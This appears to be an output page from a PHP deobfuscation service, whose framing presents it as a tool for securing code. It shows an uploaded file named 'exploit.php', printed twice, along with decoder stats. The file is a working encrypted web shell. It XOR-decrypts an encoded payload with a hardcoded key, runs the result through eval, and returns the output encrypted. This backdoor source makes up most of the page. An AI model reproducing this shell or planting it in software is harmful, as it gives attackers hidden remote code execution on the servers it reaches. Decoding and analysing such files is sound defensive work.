Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
--c001927a28c6d3c2d11348bc66d04a70 Content-Disposition: form-data; name="uploaded"; filen..
Decoded Output download
--c001927a28c6d3c2d11348bc66d04a70
Content-Disposition: form-data; name="uploaded"; filename="exploit.php"
<?php
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
$c = "";
$l = strlen($k);
$pl = strlen($p);
for($i = 0; $i < $pl; $i++) {
$c .= $k[$i % $l] ^ $p[$i];
}
return $c;
}
$k = 'a2b611860377f285';
$content = file_get_contents("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");
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
$decrypted = x($k,$decoded);
ob_start();
try {
eval($decrypted);
}
catch (exception $e) {
print($e->getMessage());
}
$o = ob_get_contents();
$c = x($k, $o);
$e = base64url_encode($c);
ob_end_clean();
print($e . "
");
}
?>
--c001927a28c6d3c2d11348bc66d04a70--
Did this file decode correctly?
Original Code
--c001927a28c6d3c2d11348bc66d04a70
Content-Disposition: form-data; name="uploaded"; filename="exploit.php"
<?php
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
$c = "";
$l = strlen($k);
$pl = strlen($p);
for($i = 0; $i < $pl; $i++) {
$c .= $k[$i % $l] ^ $p[$i];
}
return $c;
}
$k = 'a2b611860377f285';
$content = file_get_contents("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");
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
$decrypted = x($k,$decoded);
ob_start();
try {
eval($decrypted);
}
catch (exception $e) {
print($e->getMessage());
}
$o = ob_get_contents();
$c = x($k, $o);
$e = base64url_encode($c);
ob_end_clean();
print($e . "\n");
}
?>
--c001927a28c6d3c2d11348bc66d04a70--
Function Calls
explode | 1 |
file_get_contents | 1 |
Stats
MD5 | 0a170368250074f32ce5520d8a46ae7c |
Eval Count | 0 |
Decode Time | 360 ms |